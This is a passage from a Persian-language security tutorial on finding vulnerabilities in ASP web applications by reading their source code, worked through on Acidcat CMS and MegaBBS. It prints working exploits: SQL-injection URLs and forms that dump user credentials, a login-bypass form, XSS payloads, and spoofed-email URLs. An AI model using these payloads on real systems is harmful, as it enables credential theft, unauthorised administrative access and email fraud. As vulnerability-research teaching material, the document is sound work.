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. فرماييد ارسال irsdl {4t[ yahoo }d0t] comا به آدرس نظرات خود ر خواننده گرامي، شما مي توانيد
  .عنوان مقاله را ذكر فرماييدخلاصه اي ازلطفا در موضوع ايميل، 

  

كه  - سمتي از يك مقاله بزرگتر مي باشد، ممكن است اشاراتي به فصول قبلياز آنجاييكه اين مقاله ق: توجه
داشته  - مي باشد OWASP.org نويسنده و راجع به مهمترين آسيب پذيري هاي وب از ديدگاهبيشتر 
  .باشد

  ):ديسف جعبه حالت( منبع يكدها داشتن با ها يريپذ بيآس افتني. 2.3.3
كاربردي تحت وب از هزاران خط كد تشكيل شده و در اغلب اوقات زماني كه براي خواندن اين  يهر برنامه 

هر  ايراد در 15تا  5آمارها نشان مي دهد بطور متوسط . كدها وجود دارد محدود و شايد در حد چند روز است

بنابراين . 2ساعت زمان مي برد 9تا  2و پيدا كردن هر كدام از اين ايرادات بين   1خط كد وجود دارد 1000

براي . هدف كليدي خواندن موثر كدها، يافتن هرچه بيشتر آسيب پذيري ها با يك زمان و تلاش مشخص است

يك ساختار .  ا الزامي به نظر مي رسدرسيدن به اين منظور پيروي از يك ساختار مشخص و استفاده از تكنيك ه

پيشنهادي موثر امتحان شده كه منجر به پيدا شدن آسيب پذيري ها به آساني و با سرعت بالا مي باشد به 

  :صورت زير است

دنبال كردن داده هايي كه مي توانند توسط كاربر وارد گردند در طول برنامه، و پيدا كردن نحوه پردازش و به  -1

  .هاكارگيري آن

  .جستجوي نمونه كدهايي كه مي توانند نشانه وجود آسيب پذيري باشند -2

خواندن خط به خط كدهاي خطرناك ذاتي براي فهميدن منطق برنامه و پيدا كردن مشكلاتي كه ممكن  -3

اجزا و توابعي كه براي اين خواندن دقيق انتخاب مي شوند مي توانند شامل . است در آن وجود داشته باشد

مانند قسمت اعتبارسنجي، قسمت مديريت نشست ها ، كنترل هاي (نيزم هاي امنيتي كليد در برنامه مكا
                                                            
1 Us Dept. of Defense and the software Engineering Institute 
2 5 year pentagon study 



به اجزاي خارجي، و هر چيزي كه در آن از زبان هاي  3، واسطه ها)و ساير كنترل كننده هاي ورودي دسترسي، 

 .استفاده شده است، باشند ++Cيا  Cاصلي مانند 

  

، يك روش امتحان شده پيدا كردن آسيب پذيري ها در برنامه هاي كاربردي فلوچارتي كه در شكل زير آمده

است كه آسيب پذيري هاي پيدا شده با اين روش توسط نويسنده اين پروژه در سايت  ASPتحت وب به زبان 

مورد  50ثبت شده است كه به بيش از  SecurityFocus.comو  Bugreport.irهاي مختلف امنيتي نظير 

  .مي رسد

                                                            
3 Interfaces 



  
  ASPفلوچارت پيدا كردن آسيب پذيري ها در زبان  1-3شكل 

حال به نظر مي رسد اگر موارد مختلف به وجود آمدن آسيب پذيري را بشناسيم مي توانيم وجود آنها را در 

دن آنها در فصل در مورد آسيب پذيري هاي مهم و چگونگي به وجود آم. برنامه هاي مختلف تشخيص دهيم

  .گذشته به تفصيل صحبت شد



تنها نكته اي كه از آن مي توان به عنوان يك ترفند براي پيدا كردن بهتر آسيب پذيري ها استفاده كرد كه در 

اين كار علاوه بر اينكه ديد . برنامه نويس در طول برنامه است 4فصل قبل به آن اشاره نشده، استفاده از نظرات

آشنايي با كار يك تابع يا برنامه خاص را نداريم مي دهد، باعث مي شود تا گاهي اوقات پيغام  مناسبي به ما كه

به عنوان نمونه اين . هايي را ببينيم كه مي توان با استفاده از آن پي به آسيب پذيري در يك صفحه وب ببريم

خود نوشته است و فراموش كرده تا پيغام ها مي توانند شامل پيام هايي باشند كه برنامه نويس براي كار بعدي 

اگر از پريدن از روي خطاها استفاده ": مثلا نوشته است. آن كار را انجام دهد و نظر خود را نيز حذف نكرده است

كه  "ورودي ها حتما بايد بعدا كنترل شوند. نكنيم، ورودي غير عددي باعث ايجاد خطا در پايگاه داده مي گردد

  .آسيب پذير باشد SQL Injectionاين صفحه مي تواند نسبت به  اين خود نشان مي دهد كه

، با خواندن كدهاي JSPيا  ASPپيش نيازي كه براي يافتن آسيب پذيري هاي امنيتي در يك زبان خاص مثل 

منبع آن لازم است، توانايي فرد در فهميدن كدهاي آن زبان و داشتن دانش در مورد چگونگي عملكرد توابع آن 

را پيدا كند، بايد  ASP-VBScriptبراي مثال كسي كه مي خواهد آسيب پذيري هاي زبان . باشدزبان مي 

آغاز مي شوند و كسي كه مي خواهد صفحات به زبان  Requestبداند كه در اين زبان تمامي ورودي ها با 

Java  را بخواند، بايد بداند تمامي ورودي ها باget ا بايد به دنبال آنها آغاز مي شوند و براي ديدن ورودي ه

  .باشد

نام اولين برنامه . آورده شده است ASPدر زير دو مثال كامل از تحليل دو برنامه كاربردي تحت وب به زبان 

Acidcat برنامه دوم به نام . و كدهاي آن ساده است 5بوده كه يك سيستم مديريت محتواستMegaBBS 

سخت تر است و وقت  ASPآن نسبت به ساير برنامه هاي بوده كه يك برنامه تالار گفتگو است كه كدهاي 

آسيب پذيري هاي اين دو برنامه بعد از نوشته شدن در سايت هاي معتبر امنيتي به ثبت . زيادتري مي گيرد

 .6رسيدند

                                                            
4 Comments 
5 Content Management System/Service (CMS) 
6 Http://www.bugreport.ir 



  :Acidcatپيدا كردن ضعف هاي امنيتي برنامه . 1.2.3.3

  :مراحل كاري عبارتند از

  ).IISروي (ن و نصب آ ASPدانلود سورس كد  - الف

Vendor: http://www.acidcat.com/ 
Version: 3.4.1 

File Name: updates_3_4_1_f.zip 

Current Address: http://www.acidcat.com/acidcat/downloads/updates_3_4_1_f.zip 

  .براي راحتي كار با فايل ها Dreamweaverتنظيم   -ب

  :ها يا پوشه ها طبق راهنماي برنامهمراحل نصب كامل و مجوز دادن به فايل  -ج

 Install.aspبراي مثال در اينجا اجراي 

را  Accessدر اينجا از ما نوع پايگاه داده را مي خواهد كه من نوع متداول تر و سخت براي حمله يعني 

  .انتخاب مي كنم

  .به پايگاه داده مجوز خواندن و نوشته شدن بدهيم حال بايد

  .را تنظيم كنيم connectionحالا بايد فايل 

  .را مجوز دهي مي كنيم Uploadحالا پوشه مربوط به 

شروع مي شوند را پاك كنيم كه ما آنها را نگه مي   Installحالا از ما مي خواهد تمام فايل هايي كه با 

  .داريم تا شايد بعدا از آنها استفاده كرديم

پسورد مدير را نيز . را انجام مي دهيم حال به كنسول مديريت مي رويم و تنظيمات معمول يك سايت

  .به يك چيز معلوم ديگر تغيير مي دهيم

  .آغاز حمله در اين مرحله صورت مي گيرد كه مي تواند به صورت خودكار يا دستي دقيق باشد -د

  :4نسخه  Accunetixمرحله ماشيني با ابزاري به نام  - 1-د

  :تنظيم برنامه به شكل زير است



  
 2-3شكل   ل تنظيم برنامه خودكارگام او

  
 3-3شكل   گام دوم تنظيم برنامه خودكار

  



  
 4-3شكل   گام سوم تنظيم برنامه خودكار

  

  
 5-3شكل   گام چهارم تنظيم برنامه خودكار

  



  :4نسخه  accunetixنتايج با برنامه  - 1- 1-د

  دقيقه 15حدود : زمان اجرا

  :آسيب پذيري هاي شناسايي شده

 .طلاعات را بدون رمز نگاري ارسال مي كندا main_login.aspفايل 

 .هستند SQL Injectionداراي  main_login2.aspو  default.aspفايل هاي 

  .ميشو عمل وارد خود ديبا حالبراي به كار گيري اين خطرات 



  :مرحله دستي - 2-د

  :ها صورت مي پذيردتنها از طريق آن ASPها مي گرديم چرا كه ورودي صفحات  Requestابتدا به دنبال تمام 

  
 Dreamweaverتصوير برنامه  6-3شكل 

باشند،  آنها را  SQLها را دنبال  مي كنيم و اگر جزو پارامتري از صفحه يا درخواست هاي Requestحال تمام 

يادداشت و رهگيري مي كنيم و اگر بگوييم آسيب پذيري   SQL Injectionو  XSSبه منظور حملات 

ط همين دو نوع آسيب پذيريست چرا كه ما ديگر آسيب پذيري ها را فعلا بررسي نمي مشاهده نشد منظور فق

توجه داشته باشيد كه مرحله انتهايي فلوچارت را هرچه كامل تر انجام دهيم ما را به آسيب پذيري هاي . كنيم

م نمي پذيرد اما در اينجا شما خواهيد ديد كه اگرچه اين مرحله به صورت كامل انجا. بيشتري رهنمون مي سازد

البته در انتها از چند روش متمم براي جبران اين كم . بازهم ما آسيب پذيري هاي متعددي پيدا خواهيم كرد

  .كاري كمك خواهيم گرفت

  :مي نويسم Dreamweaverروال را طبق خروجي 

- Default.asp:  



 :داريم 34در خط 

titleTag = Request.QueryString("itemTitle") 

پس (در متن كدها بگرديم كه خواهيم ديد در سايت نمايش پيدا مي كند   titleTagفيست به دنبال حال كا

مي شود از آن حذف  XSSاما قبل از آن كاراكترهاي خطرناك كه باعث ) است XSSاگر حمله اي باشد از نوع 

  !شده اند

يل ديگر شده اند، بايد در آن فايل بايد توجه داشت كه چون خطوط زير بعد از گرفتن ورودي باعث اجراي دو فا

  :بگرديم تا چيزي از قلم نيفتد titleTagها نيز به دنبال پارامتر 

 <!--#include file="default_lang.asp" --> 

 <!--#include file="default_main.asp" --> 

جوي اين پارامتر شده باشد بايد در جست includeواقعيت اين است كه در اين فايل ها نيز هر فايلي كه 

titleTag پس با نگاهي به سورس اين دو صفحه، صفحات جديد بيشتري ميابيم كه بايد . شركت داشته باشد

در كل اگر بنا به فلوچارت كاري خود عمل كنيم قادر خواهيم بود تا تمامي صفحات را به درستي . جستجو شوند

  .ارزيابي كنيم SQL Injectionو  XSSبراي حملات 

  

- default_content.asp: 

 :داريم 7در خط 

formType = Request.QueryString("formType") 

  .نقش مهمي ايفا نمي كند formTypeدر كدهاي اين صفحه مي بينيم كه 

 :12و  9خط 

itemNum = Request.QueryString("itemID") 

Item__MMColParam = Request.QueryString("itemID") 

منجر به گزينه بعدي مي شود و استفاده ديگري از آن نشده پس اين نيز  itemNumبودن مي بينيم كه عددي 

  .مناسب نيست چرا كه حتما بايد عددي باشد



 :17خط 

Item__MMColParam = Request.Form("cID") 

. به كار مي رود SQLدر ساختن درخواست هاي  Item__MMColParamدر كدها مي بينيم كه پارامتر 

اجرا  17حال كافيست ببينيم چه وقت خط . فراهم شده است SQL Injectionه به بالا زمينه يك پس با توج

  .براي اين كار بايد شرط ها را درست كنيم تا اين خط اجرا شود. مي شود

  :به شرطي زير توجه مي كنيم

  
اجرا  17د، خط خالي نباش cIDخالي باشد و  itemIDنباشد و  searchبرابر  formTypeمي بينيم كه اگر 

  :پس براي شروع اين فايل بايد به شكل زير اجرا شود. خواهد شد

default_content.asp?formType=&itemID=  
  .براي آن ارسال مي شود Postبه صورت متد  cIDكه پارامتر 

  :حال اين فايل را به همين شكل اجرا مي كنيم و مي بينيم كه خطاي زير را نمايش مي دهد

  



داده شده و ديگر اينكه هيچ فايل  SQLبه اينكه اين خطا قبل از خط ساخته شدن درخواست با توجه 

Include  در اين فايل به مسير پايگاه داده وجود ندارد نتيجه مي گيريم كه اين فايل خود در درون يك فايل

گفتنيست .( امتحان كنيم لذا مي خواهيم آن فايل را پيدا كنيم تا اين آسيب پذيري را. شود includeديگر بايد 

حال از ) در اين فايل هيچ ورودي ديگري وجود ندارد كه بخواهيم بعد از اين مورد تحقيق قرار دهيم

default_content.asp به عنوان پارامتر جستجو در همه فايل ها استفاده مي كنيم:  

  .كرده است Includeرا  default_content.aspرا مي بينيم كه فقط آن فايل   default_main.aspفايل 

  :زير را مرور مي كنيم Urlلذا در مرورگر 

default_main.asp?formType=&itemID=  
  :مي بينيم

 
به اين نتيجه مي رسيم كه خود فايل  default_menu_javascript.aspبا توجه به اين خطا و كدهاي فايل 

default_main.asp  نيز بايد در يك فايل ديگر كه حاويconnection  به پايگاه داده باشدinclude   شده

  :مي گرديم default_main.aspلذا دوباره در همه فايلها به دنبال . باشد

  .را پيدا مي كنيم كه فايل مورد نظر ما را شامل باشد default.aspتنها فايل 

  :زير را مرور مي كنيم Urlلذا در مرورگر 

default.asp?formType=&itemID=  
  .كه بدون خطا اجرا شد مي بينيم

  :حال ميتوانيم با توجه به خطوط زير دو كار انجام دهيم



  
را به  Request.Form(“cID”)كي اينكه براي آزمايش آسيب پذير بودن و پيدا كردن كد مخرب، ي

Request(“cID”)  تبديل كنيم و بعدURL زير را مرور كنيم:  

default.asp?formType=&itemID=&cID=[SQL Injection] 

كار خود را  Postكلي بايد اين تغيير را به ياد داشته باشيم و با متد  Exploitبايد توجه داشت كه براي نوشتن 

استفاده شده باشد، بايد آن را   Request.Form(“cID”)همچنين اگر در جاي ديگري از متن از . انجام دهيم

  !نيز تغيير دهيم

  .كار كنيم و تغييري در سورس ايجاد نكنيم Postتد روش ديگر اين است كه از ابتدا با م

  :من از روش اول استفاده كرده ام يعني

  
  حال با اجراي 

default.asp?formType=&itemID=&cID=[SQL Injection]  
  :مي بينيم



  
آنجا باز  connectionنگاه مي كنيم و مي بينيم كه  default_content.asp 31به خط ! پس نفوذپذير است

  :است Queryخط زير سازنده اين  !شود مي

ItemCheck.Source = "SELECT * FROM ac_item WHERE ID = " & Item__MMColParam & "" 
  :حال كافيست بنويسيم

default.asp?formType=&itemID=&cID=-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-

2000','1-1-2010' from ac_user 
اين . را نشان مي دهد) شده URLEncodeو سپس  RC4رمز شده با (بينيم كه نام كاربري و رمز عبور  مي

و با توجه به پايگاه داده سايت به دست مي آيد كه موضوع صحبت  SQLخط با دانش نوشتن درخواست هاي 

  .فعلي ما نيست

كافيست از متد  Exploitنوشتن را پيدا كرديم و براي   SQL Injection اولين آسيب پذيريتا اينجا 

Post فايل زير را به شكل . استفاده كنيمhtml  ذخيره مي كنيم و اين همان فايلExploit مطلوب ماست:  

<form action="http://[The URL]/default.asp?formType=&itemID=" method="post">  
<input type="text" name="cID" id="cID" value="-1 union select 

1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" /> 

<br /> 

<input type="submit" value="Submit" /> 

</form> 

  

  

- default_lang.asp: 

 :4خط 



myStr = request.servervariables("url") 

چرا كه اگر به آن چيزي اضافه  .آن كم كرد را مي پذيرد كه نمي توان به آن چيزي اضافه يا از URLاين خط 

  :بايد توجه داشته باشيم كه اگر چيزهايي نظير! كنيم صفحه اي كه مي خواهيم ديگر باز نمي شود

request.servervariables("HTTP_REFERER") 
  اي

request.servervariables("HTTP_USER_AGENT") 
  .آنها را به سادگي تغيير دهيمو مانند آنها داشته باشيم، مي توانيم مقادير 

  

- default_mail.asp: 

 :21خط 

typeStr = Request("FormType") 

  .و آسيب پذيري خاصي ندارد اين خط فقط جهت انتخاب نوع است

  

- default_mail_aspemail.asp: 

 :14و  13و  12خطوط 

   Mail.From = Request("From")  

   Mail.FromName = Request("FromName")  

   Mail.AddAddress Request("To") 

شايد فكر كنيم هيچ آسيب پذيري ! در اينجا اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

اي وجود ندارد اما آسيب پذيري ديگر چه؟  SQL Injectionو  XSSدر واقع هيچ آسيب پذيري . وجود ندارد

ت با اولين نگاه كلي متوجه خواهيد شد كه هر كسي به صورت از راه دور مي تواند چون كد اين صفحه كوتاه اس

پس اين به عنوان ! به كمك اين صفحه و با سرويس دهنده ايميل اختصاصي سايت براي ديگران ايميل بفرستد

اشناس جعلي به صورت ن يميل هايثبت مي شود چرا كه مي توان با آن اقدام به ارسال ا دومين آسيب پذيري



همان طور كه ديديد ما يك آسيب پذيري ديگر پيدا كرديم كه خارج از حوزه ! و با هويت سرويس دهنده نمود

  :به صورت زير است Exploit. كاري فعلي ما بود اما پيدا كردن آن بسيار سهل و ساده بود

default_mail_aspemail.asp?AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&

To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456! 

  

- default_mail_cdosys.asp: 

 :30و  29و  28خطوط 

        ObjSendMail.To = Request("To") 

        ObjSendMail.Subject = Request("Subject") 

        ObjSendMail.From = Request("From")  

و درست مثل صفحه آسيب ! در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

  :ديگر كه متداول تر است براي زدن ايميل استفاده مي كند Objectپذير قبل است كه البته از يك 

default_mail_cdosys.asp? 

AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&S

ubject=Forgery&Body=Change your password to 123456! 

از آنجاييكه شكل اين آسيب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نمي روند به 

 .عنوان آسيب پذيري جديدي محسوب نمي شود

- default_mail_jmail.asp: 

 :12تا  8خطوط 

msg.From = Request("From") 

msg.FromName = Request("FromName")  

msg.AddRecipient Request("To") 

msg.Subject = Request("Subject") 

msg.Body = Mail.Body = Request("Body") 



ب و درست مثل صفحات آسي! در اينجا نيز اين پارامترها جهت ايميل زدن استفاده شده و جنبه ديگري ندارند

  :ديگر كه كمتر متداول است براي زدن ايميل استفاده مي كند Objectپذير قبل است كه البته از يك 

default_mail_jmail.asp? 

AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&S

ubject=Forgery&Body=Change your password to 123456! 

ب پذيري دقيقا مانند قبلي است و معمولا اين صفحات همزمان به كار نمي روند به عنوان چون شكل اين آسي

 .آسيب پذيري جديدي محسوب نمي شود

  

- main_login2.asp: 

 :34خط 

MM_LoginAction = Request.ServerVariables("URL") 

  .همانطور كه قبلا گفته شد اين خط آسيب پذيري ندارد

 :35خط 

MM_LoginAction = MM_LoginAction + "?" + Request.QueryString 

  .كه در جايي استفاده نشده است

 :64خط 

Response.Redirect(Request.QueryString("accessdenied")) 

انجام  XSSمي توان حمله  accessdeniedوجود دارد چرا كه با تعيين پارامتر  اينجا قاعدتا يك آسيب پذيري

خالي نبوده، ضمن اينكه مقدار  MM_valUsernameن خط و اجراي آن بايد پارامتر براي رسيدن به اي. داد

كجا مقدار دهي مي شود؟ دو حالت  MM_valUsernameحال . انتخاب شده از پايگاه داده نيز تهي نباشد

  : داريم



 از آنجا قابل MM_valUsernameشده كه پارامتر  Includeدر يك فايل ديگر  main_login2.aspخود 

  .تنظيم است

شده اند را ببينيم و تنظيم پارامتر  main_login2.asp ،includeو حالت ديگر اينكه فايلهايي كه در  

MM_valUsername را دنبال كنيم.  

نكرده و تنها يك فرم كه  Includeرا  main_login2.aspبعد از بررسي حالت اول مي بينيم هيچ فايلي 

Action از اينجا پر واضح است كه حالت دوم صحيح بوده و يكي ! م شده وجود داردآن به طرف اين فايل تنظي

پس به دنبال اين متغير در سراسر . را تعيين مي كند MM_valUsernameشده مقدار  includeاز فايلهاي 

  .مي گرديم main_login2.aspفايلهاي زير مجموعه 

  :ط زير وجود دارندخطو admin/admin_encrypt.aspمشاهده مي كنيم كه در فايل 

  
  

حال مشكل بعدي درست . چگونه مقدار دهي مي شود MM_valUsernameدر اينجا مي بينيم كه متغير 

  :است 44خط  SQLكردن درخواست 

MM_rsUser.Source = "SELECT ID, Type, Username, Password FROM ac_user WHERE 

Username='" & MM_valUsername &"' AND Password='" & MM_valUsername3 & "'" 
. به عنوان آسيب پذيري ديگر مي تواند وجود داشته باشد SQL Injectionهمينجا متوجه مي شويم كه حمله 

در . قرار مي گيرد SQLبدون هيچ كنترل قبلي در رشته درخواست  MM_valUsernameچرا كه مقدار 



خواسته شخصي پس از اينكه با نام كاربري و رمز  واقع با خواندن كدها متوجه مي شويم كه برنامه نويس مي

تنظيم شده باشد، به صفحه اي كه اين پارامتر به آن اشاره  accessdeniedعبور درست وارد شد، اگر پارامتر 

اتفاق مي افتد كه ورود درست انجام  XSSپس چون وقتي آسيب پذيري . مي كند به صورت خودكار وارد شود

. از درجه اهميت خيلي كمي برخوردار است اما هنوز هم كمي قابل اهميت است XSSشده باشد، آسيب پذيري 

براي اثبات اين گفته همين كافيست كه مهاجم با طراحي يك فرم و قرار دادن آن در جايي كه يك نفر روي آن 

را ساخته  كليك مي كند مي تواند پسورد را عوض كند و سايت را به هم بريزد، بدون اينكه خود شخصي كه فرم

  .اينكار را مستقيما انجام دهد

با توجه به سعي و خطا و  Exploitاين : (آسيب پذيري سوم و چهارم به شرح زير خواهد بود Exploitپس 

مي توان در سايت بدون داشتن نام كاربري و  Exploitبا اين ) به دست آمده است RC4الگوريتم رمزنگاري 

  .كرد Loginرمز عبور 

Exploit 3ب پذيري آسي )XSS(: 

<form action="main_login2.asp?accessdenied=javascript:alert('XSS')" method="post"> 

<input type="hidden" name="username" id="username" value="FooNot' union select 

1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5

F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D

%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where 

Username='1'or'1'='1'or'1'='1" size="200"/> 

<br /> 

<input type="hidden" name="password" id="password" value="0" /> 

<br /> 

<input type="submit" value="Click To Login!" /> 

</form> 

Exploit  4آسيب پذيري )SQL Injection(: 

<form action="main_login2.asp" method="post"> 



<input type="hidden" name="username" id="username" value="FooNot' union select 

1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5

F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D

%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where 

Username='1'or'1'='1'or'1'='1" size="200"/> 

<br /> 

<input type="hidden" name="password" id="password" value="0" /> 

<br /> 

<input type="submit" value="Click To Login!" /> 

</form> 
  

- main_login_code.asp: 

 :341خط 

logoutVar = CStr(Request("referrer")) 

  .تنها در يك شرط استفاده دارد

پس بايد دقت كنيم كه علاوه بر جستجوي حملات . رسيده است Adminحال مي بينيم كه نوبت به پوشه 

 اين كار را.) كردن نياز نداشته باشند Loginيعني به . (ابتدا ببينيم توسط مهاجم قابل دسترسي باشند

admin/admin_login_check.asp  انجام مي دهد كه درadmin/admin_scripts.asp  وadmin/ 

admin_scripts_1252.asp  نيزinclude پس هر فايلي اينها را نيز . شده استInclude  كرده باشد نياز

  .دارند خودداري مي كنيم loginپس از نوشتن صفحاتي كه نياز به . دارد Loginبه 

  

- admin_colors_swatch.asp: 

 :3خط 

var formField = String(Request.QueryString("field")); 

  .باشد XSSدر متن كد به كار رفته است مي تواند زمينه ساز  formField كه چون



  
  :بنويسيم آسيب پذيري پنجمپس كافيست به عنوان 

admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText 
  

- admin_lang.asp: 

 :5خط 

myStr = request.servervariables("url") 

  .كه آسيب پذير نيست

  

- admin_lang_login.asp: 

 :5خط 

myStr = request.servervariables("url") 

  .كه آسيب پذير نيست

  

- admin_users_edit_form2.asp: 

 :5خط 

myParam = Request.Form("ID") 

  .مي بينيم كه اين فايل به تنهايي به پايگاه داده متصل نيست

  

- admin_users_view.asp: 



 :37خط 

For Each Item In Request.QueryString 

  .مي بينيم كه اين فايل به تنهايي به پايگاه داده متصل نيست

  

را كه بدون هيچ  fckeditorيم وجود صرف نظر مي كنيم و قبل از اينكه به مرحله بعد برو fckeditorاز پوشه 

اعلام  آسيب پذيري ششمفايل در سايت وجود دارد به عنوان  uploadتغييري در كدهاي اصلي آن و توانايي 

  :آن به شرح زير است Exploitمي كنيم كه 

/admin/fckeditor/editor/filemanager/connectors/test.html 
  

اين روش ها غالبا ابتكاري بوده و از يك برنامه تا . گفته شد مي رويم حال سراغ روش هاي متمم كه در ابتدا

برنامه ديگر متفاوت هستند و تنها به اين دليل استفاده مي شوند كه اگر چيزي در مراحل قبلي جا افتاده است 

عبارت  همانطور كه از كدهاي اين برنامه تا به حال برآمده است براي درخواست از پايگاه داده. آشكار شود

.Source مي خواهيم . همواره ديده مي شود پس به دنبال اين عبارت در تمام برنامه  در برنامه مي گرديم

براي اين كار به دنبال . را به دلخواه خود تغيير دهيم يا نه SQLببينيم جايي هست كه بتوانيم درخواست 

  :مي گرديم SQLپارامتر تغيير پذير در رشته 



  
  Dreamweaverرنامه تصوير ب 6-3شكل 

  

- default_content.asp: 

  .اين فايل قبلا به عنوان فايل آسيب پذير مشخص شده است

  

- default_menu_functions.asp: 

 :36خط 

myCatID = "SELECT * FROM ac_item WHERE Category_ID = " & catID & " ORDER BY 

VerticalPosition DESC, Title DESC" 

 printItemFپس بايد ببينيم تابع . بگرديم و ببينيم مي توان آن را تغيير داد يا خير catIDنبال حال بايد به د

اين كار بسيار زمانبر بوده و نيازمند خواندن و دنبال كردن بيشتر كدهاي برنامه . چه زماني صدا زده مي شود

اسايي كنيم و حتي به كمك يكي از با توجه به اينكه ما تا به حال توانسته ايم شش آسيب پذيري را شن. است



آنها توانسته ايم مديريت برنامه را بدون داشتن مجوز بدست بگيريم و به كمك يكي ديگر توانستيم فايل هايمان 

كنيم، پس كار را همينجا متوقف مي كنيم چرا كه صرف زمان بيشتر روي اين برنامه در حال حاضر   uploadرا 

اگر قرار بود اين . خواهد شد ASPز نظر آموزشي نيز بيشتر شبيه آموزش زبان ديگر صرفه اقتصادي ندارد و ا

برنامه را به صورت كامل بررسي كنيم، مي بايستي علاوه بر اتمام همين مرحله، فلوچارت كاري كه در بالاتر 

سيب پذيري هاي گفته شده بود را نيز مو به مو انجام دهيم و علاوه بر اينها فلوچارت خود برنامه را كشيده و آ

  . منطقي را نيز شناسايي كنيم

  

  :نتيجه گيري قسمت دستي - 1- 2-د

بود به  ASPما در اينجا به طور دستي و همچنان به صورت خودكار در يك برنامه مديريت محتوا كه به زبان 

ري در اين راه دو آسيب پذي. گشتيم XSSو  SQL Injectionدنبال آسيب پذيري هاي معمول نوع وب يعني 

دقيقه شناسايي شد و اين در حالي بود كه شش آسيب پذيري به  15توسط برنامه خودكار در زمان حدود 

از بين آسيب پذيري هاي پيدا شده دو تا از اهميت بالاتري نسبت . صورت دستي، طي دو ساعت و نيم پيدا شد

دست گرفت و به وسيله ديگري مي  چرا كه به وسيله يكي مي توان مديريت سامانه را به. به بقيه برخوردارند

نمود و اين در حالي است كه ما در حالت دستي فلوچارت هاي كاري خود  uploadتوان فايل هاي خطرناك را 

از اينجا مي توان نتيجه گرفت كه برنامه از امنيت مطلوبي برخوردار نبوده و امكان كشف . را كامل اجرا نكرده ايم

 .نيز همچنان وجود دارد آسيب پذيري هاي جديد و متنوع

  

 :MegaBBSپيدا كردن ضعف هاي امنيتي برنامه . 1.2.3.3

  )IISروي (و نصب آن  ASPدانلود سورس كد  - الف

Vendor: http://www.pd9soft.com/ 
Version: 2.2 



File Name:  megabbs2.2.zip, megabbs2.2-access.zip 

Current Address:  

http://www.pd9soft.com/megabbs-support/megabbs2.2.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-access.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-mssql.zip 

http://www.pd9soft.com/megabbs-support/megabbs2.2-mysql.zip 

  براي راحتي كار با فايل ها Dreamweaverتنظيم   -ب

  .مراحل نصب كامل و مجوز دادن به فايل ها يا پوشه ها طبق كمك برنامه انجام مي شود -ج

  .آغاز حمله در اين مرحله صورت مي گيرد كه مي تواند به صورت ماشيني يا دستي دقيق باشد -د

  :5نسخه  Accunetixمرحله ماشيني با ابزاري به نام  - 1-د

  :تنظيم برنامه به شكل زير است

  
 7-3شكل   گام اول تنظيم برنامه خودكار



  
 8-3شكل   گام دوم تنظيم برنامه خودكار

  
 9-3شكل   گام سوم تنظيم برنامه خودكار



  
 10-3شكل   گام چهارم تنظيم برنامه خودكار

  



  گام پنجم تنظيم برنامه خودكار 10-3شكل 

  

  :accunetixنتايج با برنامه  - 1- 1-د

  ساعت 2: زمان

  :يي شدهآسيب پذيري هاي شناسا

 profile/controlpanel.asp/در  SQL Inectionآسيب پذيري 

  فايل در Uploadپتانسيل آسيب پذيري 

 /forums/attach-file.asp  و/profile/controlpanel.asp 

كه . در بعضي اوقات اصلا اينها آسيب پذيري نيستند. براي به كار گيري اين خطرات بايد خود وارد عمل شويم

  .له زير مشخص مي شوددر طول مرح



  :مرحله دستي -4-2

و در (هايي مي گرديم كه خارج از فرض شرط ها باشند  Requestمانند برنامه قبلي، ما ابتدا به دنبال تمام 

 ASP، چرا كه ورودي صفحات )به كار گرفته شوند SQLمتغيري ريخته شوند يا در جايي مانند درخواست 

ها را دنبال مي كنيم و اگر جزو پارامتري از صفحه يا Requestحال تمام . دتنها از طريق آنها صورت مي پذير

يادداشت و رهگيري مي   SQL Injectionو  XSSباشند، آنها را به منظور حملات  SQLدرخواست هاي 

كنيم و اگر بگوييم آسيب پذيري مشاهده نشد منظور فقط همين دو نوع آسيب پذيريست چرا كه ما ساير آسيب 

توجه داشته باشيد كه مرحله انتهايي فلوچارت را هرچه كامل تر انجام دهيم . ها را فعلا بررسي نمي كنيم پذيري

بايد بگوييم كه ما همه آنها را  XSSدر آسيب پذيري . ما را به آسيب پذيري هاي بيشتري رهنمون مي سازد

ا در پايگاه داده، در يك صفحه ديگر نمي توانيم با اين روش پيدا كنيم چرا كه گاهي اوقات رشته ثبت شده م

  !را ايجاد مي كند XSSخطر حمله 

توجه كنيد كه كدهاي اين برنامه به صورت كاملا اختصاصي زده شده اند و جزو برنامه هايي خاص نوشته شده با 

ASP كار ما استفاده زياد از توابع و كلاس ها در جاي جاي اين برنامه به چشم مي خورد كه متعاقبا . مي باشد

را بسيار سخت كرده و حتي اگر يك برنامه خودكار رديابي خطا نيز وجود مي داشت، آن را نيز مطمئنا به چالش 

يكي از موارد جالب و آموزشي كه در اين برنامه وجود دارد اين است كه كدهاي اين برنامه را به . مي كشيد

قابل خواندن نباشد، چرا كه در هيچ كجا كدهاي نمود كه كدهاي آن  DLLراحتي مي توان تبديل به فايل هاي 

HTML جدا مشاهده نمي كنيم.  

نكته اي كه در مورد برنامه هاي تحت وب وجود دارد، صرف نظر كردن از فايلهاييست كه براي اجرا نياز به مجوز 

